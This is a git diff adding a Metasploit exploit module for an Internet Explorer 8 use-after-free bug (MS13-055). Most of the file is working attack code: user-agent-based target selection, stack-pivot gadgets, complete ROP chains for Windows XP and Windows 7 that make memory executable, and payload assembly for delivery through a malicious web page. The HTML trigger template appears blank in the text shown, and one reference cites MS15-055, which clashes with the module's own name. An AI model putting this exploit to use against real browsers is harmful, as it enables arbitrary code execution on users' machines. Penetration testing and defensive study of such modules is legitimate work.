diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb new file mode 100644 index 0000000000..0a9153dfaf --- /dev/null +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -0,0 +1,260 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", + 'Description' => %q{ + In IE8 standards mode, it's possible to cause a use-after-free condition by first + creating an illogical table tree, where a CPhraseElement comes after CTableRow, + with the final node being a sub table element. When the CPhraseElement's outer + content is reset by using either outerText or outerHTML through an event handler, + this triggers a free of its child element (in this case, a CAnchorElement, but + some other objects apply too), but a reference is still kept in function + SRunPointer::SpanQualifier. This function will then pass on the invalid reference + to the next functions, eventually used in mshtml!CElement::Doc when it's trying to + make a call to the object's SecurityContext virtual function at offset +0x70, which + results a crash. An attacker can take advantage of this by first creating an + CAnchorElement object, let it free, and then replace the freed memory with another + fake object. Successfully doing so may allow arbitrary code execution under the + context of the user. + + This bug is specific to Internet Explorer 8 only. It was originally discovered by + Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Orange Tsai', # Original discovery, PoC + 'Peter Vreugdenhil', # Joins the party (wtfuzz) + 'sinn3r' # Joins the party + ], + 'References' => + [ + [ 'MSB', 'MS15-055' ], + [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 8 on Windows XP SP3', + { + 'Rop' => :msvcrt, + 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret + 'Align' => 0x77c4d801 # add esp, 0x2c; ret + } + ], + [ + 'IE 8 on Windows 7', + { + 'Rop' => :jre, + 'Pivot' => 0x7c348b05, # xchg eax, esp; ret + 'Align' => 0x7C3445F8 # add esp, 0x2c; ret + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'StackAdjustment' => -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Jul 09 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + nil + end + + def get_payload(t, cli) + rop = '' + code = payload.encoded + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + + case t['Rop'] + when :msvcrt + # Stack adjustment # add esp, -3500 + esp_align = "\x81\xc4\x54\xf2\xff\xff" + + print_status("Using msvcrt ROP") + rop = + [ + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + else + print_status("Using JRE ROP") + rop = + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) + 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] + 0x7c3415a2, # JMP [EAX] [msvcr71.dll] + 0xffffffff, + 0x7c376402, # skip 4 bytes [msvcr71.dll] + 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] + 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] + 0x7c344f87, # POP EDX # RETN [msvcr71.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] + 0x7c34d201, # POP ECX # RETN [msvcr71.dll] + 0x7c38b001, # &Writable location [msvcr71.dll] + 0x7c347f97, # POP EAX # RETN [msvcr71.dll] + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] + 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] + # rop chain generated with mona.py + ].pack("V*") + end + + rop_payload = rop + rop_payload << esp_align + rop_payload << code + rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt + + rop_payload + end + + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end + + def nop + make_nops(4).unpack("V")[0].to_i + end + + def get_html(t, p) + js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) + js_payload = Rex::Text.to_unescape(p) + js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) + js_junk = Rex::Text.to_unescape([junk].pack("V*")) + + q_id = Rex::Text.rand_text_alpha(1) + + html = %Q| + + +
+ + + + + +| + + |